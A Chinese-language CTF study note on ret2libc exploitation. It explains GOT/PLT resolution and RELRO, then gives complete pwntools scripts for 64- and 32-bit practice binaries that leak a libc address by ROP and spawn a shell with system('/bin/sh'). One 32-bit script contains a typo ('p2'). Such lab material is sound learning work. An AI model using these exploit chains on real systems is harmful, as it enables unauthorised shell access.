pwn入门-ret2libc

write(1) read(0)

0是输入,1是输出,write和puts有区别

amd64:前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中,第7个以后的参数存放于栈中

程序没有system怎么办?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int dofunc(){
char b[8] = {};
write(1,"input:",6);//2,3,4 fd=open('./a');puts
read(0,b,0x100);
write(1,"byebye",6);
return 0;
}

int main(){
dofunc();
return 0;
}

ret2libc 即控制函数的执行libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

libc 是Linux系统中C标准库(GNU C Library)的一个实现,它为C程序提供了常见的函数库,如:(fopen, fread, fwrite, fcloselibc.so 是以共享库(.so 文件)形式提供的,可以被多个程序同时使用,从而减少内存占用并提高系统效率。

原理

  1. 栈溢出:程序存在栈溢出漏洞,攻击者可以覆盖栈上的返回地址。
  2. 重定向到 libc 函数:攻击者将返回地址重定向到 libc 中的 system() 函数。
  3. 传参:将 /bin/sh 字符串地址作为 system() 函数的参数。
  4. 执行 Shellsystem("/bin/sh") 被执行,攻击者获得 Shell 访问权限。

64位

image-20250105142118174

image-20250105142823610

按G

image-20250105143120594

image-20250105143613794

低地址到高地址:自己的代码->堆>别人写好的->栈

怎么知道基地址?

首先把wirte基地址-0x(EEF20),算出基地址,然后+system的地址确定system

image-20250105144637081

怎么输出libc的函数地址?

模范程序找libc的函数地址去寻找

image-20250105151457084

image-20250105150703027

rip即下一条指令0x401036+0x2fe2 =0x404018

命令 x/20gx 0x404018 是 GDB 调试器中用于检查内存内容的指令,具体含义如下:

  • x:这是 examine(检查)命令的缩写,用来查看内存中的数据。
  • /20g:这部分指定了要显示的数据项的数量和格式。其中 20 表示要显示20个数据项,g 表示每个数据项是64位巨量(giant word),即8字节的数据。所以总共会显示20 * 8 = 160字节的数据。
  • x:这里的 x 指定输出格式为十六进制(hexadecimal)。这意味着每个8字节的数据将被解释并以十六进制的形式显示。
  • 0x404018:这是你想要检查的起始内存地址。它是一个具体的内存位置,从这里开始读取数据。

因此,x/20gx 0x404018 的意思是:从内存地址 0x404018 开始,以十六进制格式显示接下来的20个8字节(64位)的数据值。这对于查看指针、长整数或其他占用8字节空间的数据类型非常有用,尤其是在调试涉及64位架构的程序时。

image-20250105151009457

x/20x 也行

上面为什么不一样呢

执行过一次write后,got表才有他的地址

GOT(Global Offset Table,全局偏移表)是动态链接和位置无关代码(Position Independent Code, PIC)中的一个重要概念,特别是在使用共享库(如.so文件在Linux系统中)时。GOT位于程序的.data段中,它包含了一系列地址,这些地址指向全局变量或外部函数。GOT的主要作用是在运行时解析符号引用,使得程序可以正确地调用外部函数或访问外部数据。

执行到wirte后,再以上述步骤去看就ok了

image-20250105151703741

watch *0x404018,下内存断点

就是第一次plt跳got再跳回plt然后跳更改函数改got并重新执行去往真实函数,第二次plt跳got跳 真实函数

PLT(Procedure Linkage Table,过程链接表)是动态链接和位置无关代码(PIC)中的另一个关键概念,尤其在使用共享库时。PLT与GOT一起工作,用于支持函数调用的间接解析,尤其是在程序启动时无法确定外部函数地址的情况下。

PLT的工作原理

  1. 间接调用:当编译器生成代码时,它并不知道外部函数的实际地址。因此,对于每个需要调用的外部函数,编译器会在PLT中创建一个入口点,并让调用指令指向这个入口点,而不是直接指向函数本身。
  2. 首次调用解析:当某个外部函数第一次被调用时,控制权会传递给PLT对应的入口点。该入口点包含一段特殊的代码,这段代码会触发动态链接器来解析实际的函数地址,并将结果存储到GOT中相应的位置。这样,在后续的调用中就可以直接通过GOT访问正确的地址,而不再需要通过PLT进行解析。

第一次调用时

  • 程序调用 printf@plt,此时会跳转到 PLT 表中 printf 的入口。
  • PLT 会查找 GOT 表中 printf 的地址(初始时是指向一个解析器)。
  • 动态链接器 ld-linux.so 解析实际的 printf 地址并填充到 GOT 表中。
  • 跳转到真正的 printf 函数地址。

后续调用时:PLT 会直接跳转到 GOT 表中存储的真实 printf 地址,无需再次解析。

PLT

  • 作用:实现对动态链接库中函数的调用。
  • 本质:是一个跳转表,用于将对外部函数的调用引导到实际地址。

GOT

  • 作用:存储外部函数的实际地址。
  • 本质:一个存储函数或全局变量地址的表。

image-20250105154407613

image-20250105154522132

也就是说一开始在0x401030这个位置,跳到0x404018存储的位置(0x401036)

image-20250105155047169

除了got_plt还有其他的,每个xx函数的plt表项也对应着got表项

image-20250105155727305

RELRO:-z norelro /-z lazy -Z nOW (关闭 /部分开启 / 完全开启) 对GOT表具有写权限

full是还没进wirte,got表就存好了,用full后这个got表是不能改的,而partial可以,无保护跟partial做题差不多

image-20250105163022628

怎把GDT表项内容打印出来?

用之前用过的函数,比如read,write,main等

image-20250105165145159

1 是 leak_func 的参数,代表标注输入(图里的0错了)

1
write(1, leak_func_got, 6) // 这里的6存在了rdx中,rdx没有第一时间被清零所以可以直接使用

write(1) read(0)

0是输入,1是输出,write和puts有区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10

gdb.attach(io)

ret_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
leak_func_got = 0x404018
# bin_sh_addr = 0x404040
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef)
payload += p64(write_sym)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.recv()
io.interactive()

ROPgadget –binary question_5_x64 –only “pop|ret”

要rdi,rsi,rdx

正常点的程序没有pop rdx,但是可以利用已有的rdx(因为rdx等一些列寄存器再函数内被使用完推出后,不会清空)

image-20250105172139050

image-20250105174323635

其实这里做的就是利用输出函数泄露got表

怎么找到system和binsh地址?

利用偏移计算

添加以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10

gdb.attach(io)

ret_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
leak_func_got = 0x404018
# bin_sh_addr = 0x404040
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef)
payload += p64(write_sym)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('byebye')
write_addr = u64(io.recv().ljust(8,b'\x00'))
print('write_addr:',hex(write_addr))
# 0x783303514870

io.interactive()

这里要根据你自己的so文件(ubuntu导出的)来定制偏移

image-20250105214153626

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10

gdb.attach(io)

ret_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
leak_func_got = 0x404018
# bin_sh_addr = 0x404040
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef)
payload += p64(write_sym) + p64(ret_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('byebye')
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
# 精确确定收6个字节,因为这里p64(ret_addr)会返回func又会收到input超出8而报错
print('write_addr:',hex(write_addr))

write_offest = 0x114870
libc_base = write_addr - write_offest
print('libc_base:',hex(libc_base))

system_offest = 0x50D70
system_addr = libc_base + system_offest
print('system_addr:',hex(system_addr))

binsh_offest = 0x1D8678
binsh_addr = libc_base + binsh_offest
print('binsh_addr:',hex(binsh_addr))

payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter(delimiter, payload2)

io.interactive()

image-20250105212734153

image-20250105212906562

使用工具版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import duchao_pwn_script
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_5_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10
leak_func_name ='write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write'] # write函数的plt地址
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef)
payload += p64(write_sym) + p64(return_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('byebye')
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('write_addr:',hex(write_addr))

system_addr, bin_sh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, write_addr)
print(hex(system_addr))
print(hex(bin_sh_addr))

payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
pause()
io.interactive()

32位

跟64位差不多,区别在于32位用不到寄存器传参

32位和64位got表项的位置是不变的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher

context(log_level='debug', arch='i386', os='linux')

pwnfile = './question_5_x86'
io = process(pwnfile)
# io = remote('host', port)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

# 泄露 write 地址
padding = 0x14
leak_func_name = 'write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

# 构造 payload 泄露 write 地址
payload = flat([
b'a' * padding,
write_sym,
return_addr,
1, # fd (stdout)
leak_func_got, # write.got 地址
4 # 读取 4 字节
])

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('byebye')
write_addr = u32(io.recv(4))
print('write_addr:', hex(write_addr))

# 使用 LibcSearcher 匹配 libc
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
print('libc_base:', hex(libc_base))

# 计算 system 和 /bin/sh 地址
system_offset = libc.dump('system')
system_addr = libc_base + system_offset
print('system_addr:', hex(system_addr))

bin_sh_offset = libc.dump('str_bin_sh')
bin_sh_addr = libc_base + bin_sh_offset
print('bin_sh_addr:', hex(bin_sh_addr))

# 构造第二个 payload,调用 system("/bin/sh")
payload2 = flat([
b'a' * padding,
system_addr,
0xdeadbeef,
bin_sh_addr
])

io.sendlineafter(delimiter, payload2)
io.interactive()

需要libcsearch去找,因为远程的libc不一定是本地的libc

libcsearch database:

image-20250106153826945

libc 2.27以下的已经很少用了

因为我的libc版本太高了,本地和云端版本的Libcsearcher都试了,都找不到,用libc-database能找到,所以直接用本地版了

libc-database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: UTF-8 -*-
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './question_5_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc_file_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

padding = 0x14
leak_func_name = 'write'
leak_func_got = elf.got[leak_func_name]
#要泄露函数的.got.plt的地址
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

payload = flat([b'a'* padding , write_sym , return_addr , 1 , leak_func_got , 4 ])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('byebye')
write_addr = u32(io.recv(4))
print('write_addr:',hex(write_addr))

wirte_offset = libc.symbols[leak_func_name]
libc_addr = write_addr - wirte_offset
print('libc_addr:',hex(libc_addr))

system_offset = libc.symbols['system']
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh'))
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))

payload2 = flat([b'a'* padding , system_addr , 0xdeadbeef , bin_sh_addr ])
delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
io.interactive()

不用flat版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: UTF-8 -*-
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './question_5_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc_file_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

padding = 0x14
leak_func_name = 'write'
leak_func_got = elf.got[leak_func_name]
#要泄露函数的.got.plt的地址
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

payload = b'a'* padding + p32(write_sym) + p32(return_addr) + p32(1) + p2(leak_func_got) + p32(4)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('byebye')
write_addr = u32(io.recv(4))
print('write_addr:',hex(write_addr))

wirte_offset = libc.symbols[leak_func_name]
libc_addr = write_addr - wirte_offset
print('libc_addr:',hex(libc_addr))

system_offset = libc.symbols['system']
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh'))
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))

payload2 = flat([b'a'* padding , system_addr , 0xdeadbeef , bin_sh_addr ])
delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
io.interactive()

flat 会自动识别每个参数的类型,并将它们转换为正确的二进制格式(例如,整数自动转换为小端序)。

例题

星盟视频里的例题

image-20241231145655297

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
file_path='./level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')

#common pack
su = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value)))
ru = lambda delim :p.recvuntil(delim)
rv = lambda count=1024,timeout=0:p.recv(count,timeout)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ss = lambda data :p.send(data)
ssa = lambda delim,data :p.sendafter(delim, data)
u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))

write_plt = elf.plt['write']
read_got = elf.got['read']

# write_plt: 从 PLT 表获取 write 的地址。
# read_got: 从 GOT 表获取 read 的地址
# main_addr: 程序 main 函数的地址,返回后可以重新开始攻击链。

main_addr = 0x080484B7

payload = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)#rop泄露libc
#gdb.attach(p,'b *0x080484B5')
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))
libc_base = read_addr - libc.symbols['read']
system = libc_base+libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("binsh:{}".format(hex(binsh)))

payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh)

p.send(payload2)
p.interactive()